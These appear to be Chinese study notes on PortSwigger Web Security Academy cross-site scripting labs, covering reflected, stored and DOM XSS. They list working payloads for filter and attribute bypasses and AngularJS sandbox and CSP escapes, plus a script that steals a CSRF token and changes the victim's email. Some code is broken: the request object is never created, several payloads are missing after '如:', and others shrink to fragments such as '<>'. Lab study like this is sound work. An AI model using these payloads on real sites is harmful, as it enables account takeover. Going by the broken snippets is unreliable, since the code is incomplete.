当应用程序在 HTTP 请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会出现反射式跨站点脚本。如:将XSS反射到HTML上下文中,没有进行转义
https://insecure-website.com/search?term=
(1)利用跨站点脚本窃取 cookie
(2)利用跨站点脚本捕获密码
(3)利用跨站点脚本执行 CSRF
//当请求完成时触发保存返回报文
req.onload = handleResponse;
//创造请求
req.open('get','/my-account',true);
//发送请求
req.send();
function handleResponse() {
//获取token,(\W+):匹配一个或多个非字母进行切割,匹配到的非字母全部缓存;
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'[email protected]')
};
(1)将XSS反射到HTML上下文中,未进行任何编码
(2)将 XSS 反射到 HTML 上下文中,但大多数标签和事件都被阻止了
解题思路:通过Burp Suite 暴力破解先找到未被阻止的标签:body,继而确定未被阻止的事件;onresize,最后通过该标签和事件进行利用。如:
(3)将 XSS 反射到 HTML 上下文中,阻止除自定义标签之外的所有标签
tabindex属性:将首先移动到具有最小tabIndex属性值的控件上,最后在具有最大tabIndex属性值的控件上结束移动。如果有两个控件的tabIndex属性相同,则以控件在html代码中出现的顺序为准。默认的tabIndex属性为 0 ,将排列在在所有指定tabIndex的控件之后。而若把tabIndex属性设为一个负值(如tabIndex="-1"),那么这个链接将被排除在TAB键的序列之外
https://YOUR-LAB-ID.web-security-academy.net/?search=#x
(4)事件和属性都阻止的反射到href执行的反射式 XSS
animate:元素可以用于实现动画效果
attributeName:定义发生变化的元素属性名
(5)允许使用一些 SVG 标签的反射式 XSS
animatetransform标签:进行动画处理
onBegin() :当元素周期开始时由onbegin 事件立即触发
(1)将 XSS 反射到带有尖括号 HTML 编码的属性中
onmouseover事件:当鼠标移到该元素之上触发事件
"onmouseover="alert(1)
(2)规范链接标记中的反射 XSS
accesskey 属性:规定激活(使元素获得焦点)元素的快捷键
当用户使用以下快捷键将触发漏洞
ALT+SHIFT+X
CTRL+ALT+X
Alt+X
url?'accesskey='x'onclick='alert(1)
(1)终止现有的JavaScript脚本进行反射注入
(2) 打破现有的JavaScript字符串进行反射注入
'-alert(document.domain)-'
';alert(document.domain)//
(3)单引号被转义时,通过JavaScript进行反射注入
\'-alert(1)//
(4)某些字符被阻止,通过JavaScript进行反射注入
&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
(5) 应用程序阻止或转义单引号字符,通过利用HTML编码进行绕过
&apos=‘
onclick 事件会在元素被点击时发生
http://foo?'-alert(1)-'
(6)将javaScript 表达式嵌入到字符串模板文本中执行,进行反射注入
${alert(document.domain)}
(1)反射式XSS与AngularJS沙盒无字符串绕过
AngularJS 沙箱是一种机制,可防止访问 AngularJS 模板表达式中的潜在危险对象
&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
(2)使用 AngularJS 沙盒转义绕过 CSP
内容安全策略(CSP):当 CSP 模式在 AngularJS 中处于活动状态时,它会以不同的方式解析模板表达式,并避免使用构造函数
https://YOUR-LAB-ID.web-security-academy.net/?search=#x
当应用程序从不受信任的源接收数据并以不安全的方式将该数据包含在其以后的 HTTP 响应中时,就会出现存储的 XSS(也称为持久或二阶 XSS。
(1)将XSS存储到HTML上下文中,没有任何编码
(2)将 XSS 存储到带有双引号 HTML 编码的锚点属性href中
javascript:alert(document.domain)
(3)将 XSS 存储到带有双引号 HTML 编码中,并通过HTML编码进行绕过
http://foo?'-alert(1)-'
DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。
(1)当接收器存在适用的元素 (document.write location.search)
“>
(2)当接收器中使用选择元素时,通过闭合该元素进行绕过(document.write location.search)
(3)接收器不接受任何新式浏览器上的元素,也不会触发事件时,存在innerHTML时可向对象插入内容。
innerHTML:在JS是双向功能:获取对象的内容 或 向对象插入内容
(4)使用哈希更改事件在 jQuery 选择器接收器中的 DOM XSS
(5)AngularJS表达式中的DOM XSS,在双大括号内执行 JavaScript 表达式。
{{$on.constructor('alert(1)')()}}
(6)反射式 DOM XSS
\"-alert(1)}//
(7)存储的 DOM XSS
<>